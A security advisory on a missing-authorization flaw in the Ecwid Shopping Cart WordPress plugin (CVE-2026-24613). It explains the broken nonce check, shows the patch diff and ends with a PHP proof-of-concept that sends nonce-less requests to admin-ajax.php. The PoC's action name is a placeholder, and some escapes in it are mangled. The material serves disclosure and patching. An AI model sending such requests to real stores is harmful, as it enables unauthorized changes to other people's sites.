Atomic Edge analysis of CVE-2026-24613:
The Ecwid Shopping Cart plugin for WordPress, versions up to and including 7.0.6, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a specific plugin function, leading to unauthorized actions. The CVSS score of 5.3 reflects a medium severity rating.
The root cause is an improper access control check in the plugin’s main file, `ecwid-shopping-cart.php`. The vulnerable code, located around line 1833, performs a nonce verification but lacks a capability check to verify the user’s authentication status or permissions. The conditional logic `if ( isset( $_GET[‘_wpnonce’] ) && ! wp_verify_nonce( wp_unslash( $_GET[‘_wpnonce’] ), $key ) )` only returns (exits the function) if a nonce is present and fails verification. If the `_wpnonce` parameter is absent, the check is bypassed entirely, allowing the subsequent function code to execute.
An attacker can exploit this by sending a direct HTTP GET request to the WordPress site’s `admin-ajax.php` endpoint with a specific `action` parameter that triggers the vulnerable function. The exact action name is defined by the `$key` variable in the context of the function containing the flawed check. The exploit payload requires no authentication or nonce, making the attack simple to perform. The attacker crafts a request like `GET /wp-admin/admin-ajax.php?action=ecwid_vulnerable_action&other_param=value`.
The patch in version 7.0.7 modifies the conditional logic on line 1833. The new check is `if ( ! isset( $_GET[‘_wpnonce’] ) || ! wp_verify_nonce( wp_unslash( $_GET[‘_wpnonce’] ), $key ) )`. This change ensures the function returns (and stops execution) if the nonce is NOT present OR if the nonce is present but fails verification. This corrects the logic flaw by requiring a valid nonce for the request to proceed, which acts as a CSRF token and indirectly validates the request’s origin, though a proper capability check would be a more robust authorization fix.
Successful exploitation could allow an unauthenticated attacker to perform unauthorized administrative actions within the plugin’s context. The specific impact depends on the functionality of the vulnerable function that the flawed check was meant to protect. Atomic Edge research indicates this could lead to modification of store settings, disruption of ecommerce operations, or data exposure, contingent on the actions the unprotected function performs.
--- a/ecwid-shopping-cart/ecwid-shopping-cart.php
+++ b/ecwid-shopping-cart/ecwid-shopping-cart.php
@@ -5,7 +5,7 @@
Description: Ecwid by Lightspeed is a full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.
Text Domain: ecwid-shopping-cart
Author: Ecwid Ecommerce
-Version: 7.0.6
+Version: 7.0.7
Author URI: https://go.lightspeedhq.com/ecwid-site
License: GPLv2 or later
*/
@@ -1833,7 +1833,7 @@
if ( array_key_exists( $key, $_GET ) ) {
- if ( isset( $_GET['_wpnonce'] ) && ! wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $key ) ) {
+ if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $key ) ) {
return;
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24613 - Ecwid Shopping Cart <= 7.0.6 - Missing Authorization
<?php
// Configuration
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
// The specific 'action' parameter value is required. This must be identified from the plugin code.
// This PoC uses a placeholder. Replace 'ecwid_vulnerable_action' with the actual vulnerable AJAX action.
$vulnerable_action = 'ecwid_vulnerable_action';
// Build the exploit URL. The vulnerability is triggered by omitting the '_wpnonce' parameter.
$exploit_url = $target_url . '?action=' . urlencode($vulnerable_action);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to see the response
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Output results
echo "Atomic Edge CVE-2026-24613 PoCn";
echo "Target: $target_urln";
echo "Action Parameter: $vulnerable_actionn";
echo "Request URL: $exploit_urln";
echo "HTTP Status Code: $http_coden";
echo "--- Response ---n";
echo $response . "n";
curl_close($ch);
?>
